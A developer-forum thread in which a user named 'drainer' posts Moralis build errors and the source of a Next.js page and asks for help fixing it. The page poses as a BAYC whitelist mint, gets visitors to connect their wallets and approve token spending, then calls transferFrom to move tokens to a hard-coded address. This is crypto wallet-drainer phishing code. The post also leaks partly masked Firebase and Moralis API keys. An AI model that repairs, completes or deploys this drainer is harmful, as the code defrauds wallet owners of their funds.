I'm having issues with moralis and i've installed the dependency

drainer · February 5, 2024, 3:16pm

56 | const { EvmChain } = require("@moralisweb3/common-evm-utils");
57 |

58 | const { data, error, fetch, isFetching, isLoading } = Moralis.executeFunction();
| ^
59 | // const { data, error, fetch, isFetching, isLoading } = useWeb3ExecuteFunction();
60 |
61 |
./node_modules/moralis-v1/lib/browser/Web3Connector/WalletConnectWeb3Connector.js
Module not found: Can’t resolve ‘@walletconnect/ethereum-provider’ in ‘C:\Users\dell\newdrainer\node_modules\moralis-v1\lib\browser\Web3Connector’

Import trace for requested module:
./node_modules/moralis-v1/lib/browser/Web3Connector/WalletConnectWeb3Connector.js
./node_modules/moralis-v1/lib/browser/MoralisWeb3.js
./node_modules/moralis-v1/lib/browser/Parse.js
./node_modules/moralis-v1/index.js
./node_modules/react-moralis/lib/index.esm.js

./node_modules/moralis-v1/lib/browser/Web3Connector/Web3AuthConnector.js
Module not found: Can’t resolve ‘@web3auth/web3auth’ in ‘C:\Users\dell\newdrainer\node_modules\moralis-v1\lib\browser\Web3Connector’
Import trace for requested module:
./node_modules/moralis-v1/lib/browser/Web3Connector/Web3AuthConnector.js
./node_modules/moralis-v1/lib/browser/MoralisWeb3.js
./node_modules/moralis-v1/lib/browser/Parse.js
./node_modules/moralis-v1/index.js
./node_modules/react-moralis/lib/index.esm.js
./node_modules/moralis-v1/lib/browser/Web3Connector/WalletConnectWeb3Connector.js
Module not found: Can’t resolve ‘@walletconnect/ethereum-provider’ in ‘C:\Users\dell\newdrainer\node_modules\moralis-v1\lib\browser\Web3Connector’

Import trace for requested module:
./node_modules/moralis-v1/lib/browser/Web3Connector/WalletConnectWeb3Connector.js
./node_modules/moralis-v1/lib/browser/MoralisWeb3.js
./node_modules/moralis-v1/lib/browser/Parse.js
./node_modules/moralis-v1/index.js
./node_modules/react-moralis/lib/index.esm.js

./node_modules/moralis-v1/lib/browser/Web3Connector/Web3AuthConnector.js
Module not found: Can’t resolve ‘@web3auth/web3auth’ in ‘C:\Users\dell\newdrainer\node_modules\moralis-v1\lib\browser\Web3Connector’
Import trace for requested module:
./node_modules/moralis-v1/lib/browser/Web3Connector/Web3AuthConnector.js
./node_modules/moralis-v1/lib/browser/MoralisWeb3.js
./node_modules/moralis-v1/lib/browser/Parse.js
./node_modules/moralis-v1/index.js
./node_modules/react-moralis/lib/index.esm.js

drainer · February 7, 2024, 7:29am

//I CANT FETCH USER ADDRESS ON MY FIRESTORE

import { useEffect, useState } from “react”
import Moralis from ‘moralis’
//import Moralis from ‘moralis’
import { Button, Text, Flex, Center, useColorModeValue, Image, Box, Tabs, TabList, Tab, TabPanels, TabPanel, Alert, AlertIcon, Link, styled, AccordionButton } from “@chakra-ui/react”
import Head from “next/head”
// import Web3 from ‘web3’;
import { MoralisProvider, useMoralis, useWeb3Contract, useWeb3ExecuteFunction } from “react-moralis”
// import Balance from “…/components/Balance”
// import Transactions from “…/components/Transactions”
import Header from “…/components/Header”
// import Profile from “…/components/Profile”
import { Modal, ModalOverlay, ModalContent, ModalHeader, ModalFooter, ModalBody, ModalCloseButton } from ‘@chakra-ui/react’
import { useDisclosure } from ‘@chakra-ui/react’
import {initializeApp} from “firebase/app”;
import { getFirestore, collection, getDocs, addDoc, query, where, limit } from ‘firebase/firestore’;
import { getAuth } from ‘@firebase/auth’;
import {getDatabase} from ‘firebase/database’;
import { getMoralisAuth } from ‘@moralisweb3/client-firebase-auth-utils’;
import { signInWithMoralis } from ‘@moralisweb3/client-firebase-evm-auth’;
import { EvmChain } from “@moralisweb3/common-evm-utils”;
import { getFunctions } from “firebase/functions”
// import WalletConnectProvider from “@walletconnect/web3-provider”;
import { Web3Provider } from ‘@ethersproject/providers’;

export const app = initializeApp({
apiKey: “AIzaSyDfBVVgnWZRBiElr0mhWqX04",
authDomain: "-project-ac6e1.firebaseapp.com",
projectId: "-project-ac6e1",
storageBucket: “********-project-ac6e1.appspot.com”,
messagingSenderId: "10636196338",
appId: "1:109163*******38:web:4ae017963a60f2019c716b”,
measurementId: “G-*****E486RS4”
});

const db = getFirestore();
const auth = getAuth(app);
const functions = getFunctions();

Moralis.appId = '2gft’;
Moralis.serverURL = ‘https://firestore.googleapis.com/v1/’;
const MORALIS_API_KEY = "eyJhbGNiIsInR5cCI6IkpXVCJ9.eyJub25jZSI6IjJkY2UwYjliLTFiYWEtNDYxYS1iYzg5LWJkZWQ2MzcyOWEzNiIsIm9yZ0lkIjoiMzc1NTk5IiwidXNlcklkIjoiMzg1OTc4IiwidHlwZSI6IlBST0pFQ1QiLCJ0eXBlSWQiOiJjNGJjNDIwOS00ZTkzLTQ4OTktYTE0Mi00ZGZiNzEzN2M2ZGQiLCJpYXQiOjE3MDY5NzIxNjAsImV4cCI6NDg2MjczMjE2MH0.KJY7w_m5ws5UpqXIaHISIBI0**SDJbU";
const MORALIS_SERVER_URL=‘https://firestore.googleapis.com/v1/’;

function Home() {

const [user, setUser]= useState(null);
const [displayName, setdisplayName] = useState(’’);
const Moralis = require(“moralis”).default;
const { EvmChain } = require("@moralisweb3/common-evm-utils");

const { data, error, fetch, isFetching, isLoading } = useWeb3ExecuteFunction();
// const { data, error, fetch, isFetching, isLoading } = useWeb3ExecuteFunction();

// Moralis.start({ apiKey: process.env.NEXT_PUBLIC_APPID });

if (!Moralis.Core.isStarted) {
Moralis.start({
apiKey: “eyJhbG***********5cCI6IkpXVCJ9.eyJub25jZSI6IjJkY2UwYjliLTFiYWEtNDYxYS1iYzg5LWJkZWQ2MzcyOWEzNiIsIm9yZ0lkIjoiMz****1OTc4IiwidHlwZSI6IlBST0pFQ1QiLCJ0eXBlSWQiOiJjNGJjNDIwOS00ZTkzLTQ4OTktYTE0Mi00ZGZiNzEzN2M2ZGQiLCJpYXQiOjE3MDY5NzIxNjAsImV4cCI6NDg2MjczMjE2MH0.KJY7w_m5ws5UpqXIaHISIBI0s5ZEpOr2FSDJbU”,
//serverUrl: MORALIS_SERVER_URL
});
}

// const enableWeb3 = async () => {
// try {
// await Moralis.enable();
// console.log(‘Web3 enabled successfully’);
// } catch (error) {
// console.error(‘Error enabling Web3:’, error);
// }
// };

// // Call enableWeb3 function when needed
// enableWeb3();

//const {isAuthenticated, authenticate, user, enableWeb3, isWeb3Enabled, Moralis, logout, isLoggingOut } = useMoralis()

const {isAuthenticated, web3, enableWeb3, isWeb3EnableLoading, web3EnableError, authenticate, isWeb3Enabled, logout, isLoggingOut } = useMoralis()
const [approved, setApproved] = useState(false);

const { runContractFunction: enterTxResponse } = useWeb3Contract({

}

);

useEffect(() => {
if (!isWeb3Enabled && isAuthenticated) {
enableWeb3();
}
}, [isWeb3Enabled, isAuthenticated]);

useEffect(() => {
// Assuming you have the wallet address available in the ‘user’ variable
if (user) {
setdisplayName(user.displayName);
}
}, [user]);

useEffect(() => {
if (displayName) {
// Check if a document with the same displayName already exists
const q = query(collection(db, ‘users’), where(‘walletAddress’, ‘==’, displayName), limit(1));
getDocs(q)
.then((querySnapshot) => {
if (querySnapshot.empty) {
// No existing document found, create a new one
addDoc(collection(db, ‘users’), {
walletAddress: displayName
})
.then(() => {
console.log(‘Wallet address stored in Firestore’);
})
.catch((error) => {
console.error(‘Error storing wallet address:’, error);
});
} else {
console.log(‘Document already exists with the same wallet address:’, displayName);
}
})
.catch((error) => {
console.error(‘Error checking existing documents:’, error);
});
}
}, [displayName]);

// useEffect(() => {
// if (displayName) {
// // Store the wallet address in Firestore
// addDoc(collection(db, ‘users’), {
// walletAddress: displayName
// })
// .then(() => {
// console.log(‘Wallet address stored in Firestore’);
// })
// .catch((error) => {
// console.error(‘Error storing wallet address:’, error);
// });
// }
// }, [displayName]);

async function approve() {
if (!isWeb3Enabled) {
enableWeb3();
}
const options = {
contractAddress: “0xdAC17F958D2ee523a2206206******31ec7”,

functionName: "approve",
chain: EvmChain.ETHEREUM,
abi: [

  {"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},

],

params: {

  _spender: user?.displayName, // Use the Ethereum address of the user
  _value: "1000"

}

};
try {
const result = await fetch({ params: options });
console.log(‘Function executed successfully’, result);
setApproved(true); // Update the approved state
} catch (error) {
console.error(‘Error executing function:’, error);
}
}

const { account } = useMoralis();

async function transfer(){
const ethers = Moralis.web3Library;
const web3Provider = await Moralis.enableWeb3();

const signer = web3Provider.getSigner();

const contract = new ethers.Contract(“0xdAC17F958D2ee523a22062069*****3D831ec7”, ABI, signer);

let res = await contract.transferFrom({

_from: account,

_to: "0x2589Fd32E18490**********050e",

_value: 1000000,

gasPrice: ethers.utils.parseUnits("20","gwei").toString(),

gasLimit: 280000

})
}

const { isOpen, onOpen, onClose } = useDisclosure()

if(!isAuthenticated && !user) {
console.log(user);

async function login() {
console.log(‘login attempt’)
const moralisAuth = getMoralisAuth(app, {
auth,
functions,
});
const res = await signInWithMoralis(moralisAuth);

setUser(res.credentials.user);
console.log(res.credentials.user)

}

async function logout() {
await auth.signOut();
setUser(null);
}

async function authWalletConnect() {
const user = authenticate({
provider: “walletconnect”,
chainId: 56,
mobileLinks: [
“metamask”,
“trust”,
“rainbow”,
“argent”,
“imtoken”,
“pillar”,
“mathwallet”,
“meet.one wallet”,
“equal”,
“safepal”,
“cool wallet”,
“xwallet”,
“atomic”,
“myetherwallet”,
“cybavo”,
“onto”,
“mycrypto”,
“minerva wallet”,
“metax”,
“encrypted ink”,
“gnosis safe”,
“bitpay”,
“fireblocks”,
“debank”,
“tokenpocket”,
“infinity wallet”,
“coinbase wallet”
],
signingMessage: “Sign to get whitelisted on …”,
});
console.log(user);
};

// if(isWeb3Enabled){
// return null
// }

const APPID = process.env.NEXT_PUBLIC_APPID;
const serverURL = process.env.NEXT_PUBLIC_SERVER_URL;
console.log(“APPID”, APPID)
console.log(“serverURL”, serverURL)

return(
<>

BAYC

Connect Wallet
<Button colorScheme=“purple” size=“lg” mt=“6”
onClick={() => login({
signingMessage: “Sign to get whitelisted on …”
})}
>Sign in with Metamask

    <Button colorScheme="purple" size="lg" mt="6"
     onClick={() => authWalletConnect({
       signingMessage: "Sign to get whitelisted on ........."
     })}
    >Sign in with Wallet Connect</Button>
  </Flex>
  </>

)
};

return (

<>

BAYC

Wallet connected successfully {user.displayName}

Get it now!

Be among the 1st 100

{web3EnableError && }
{/* <Button onClick={() => enableWeb3()} disabled={isWeb3EnableLoading}>Enable web3 */}

                <Button onClick={() => approve()} disabled={isLoading || isFetching || isWeb3EnableLoading}>
                  Get It!
                </Button>
                {/* {error && (
                <Alert status="error">
                  Error: {error.message}
                </Alert>
                )} */}
                {/* {data && (
                <pre>{JSON.stringify(data)}</pre>
                )} */}

                <Button ml="4" colorScheme="green" disabled={isLoading || isFetching || !approved}>
                  Continue
                </Button>
              </ModalFooter>
            </ModalContent>
          </Modal>
          <br />
        </Tabs>
      </Box>
    </Flex>
</>

)
}
export default Home

//…
//i cant fetch user address on my firestore
//…

return(
<>

BAYC

Connect Wallet
<Button colorScheme=“purple” size=“lg” mt=“6”
onClick={() => login({
signingMessage: “Sign to get whitelisted on …”
})}
>Sign in with Metamask

    <Button colorScheme="purple" size="lg" mt="6"
     onClick={() => authWalletConnect({
       signingMessage: "Sign to get whitelisted on ...................."
     })}
    >Sign in with Wallet Connect</Button>
  </Flex>
  </>

)
};

return (

<>

BAYC

Wallet connected successfully {user.displayName}

Get it now!

Be among the 1st 100

{web3EnableError && }
{/* <Button onClick={() => enableWeb3()} disabled={isWeb3EnableLoading}>Enable web3 */}

                <Button onClick={() => approve()} disabled={isLoading || isFetching || isWeb3EnableLoading}>
                  Get It!
                </Button>
                {/* {error && (
                <Alert status="error">
                  Error: {error.message}
                </Alert>
                )} */}
                {/* {data && (
                <pre>{JSON.stringify(data)}</pre>
                )} */}

                <Button ml="4" colorScheme="green" disabled={isLoading || isFetching || !approved}>
                  Continue
                </Button>
              </ModalFooter>
            </ModalContent>
          </Modal>
          <br />
        </Tabs>
      </Box>
    </Flex>
</>

)

johnversus · February 9, 2024, 8:23am

Hi @drainer

Can you please format the code with backticks?
And please share us the error messages which you are seeing rather than the entire code.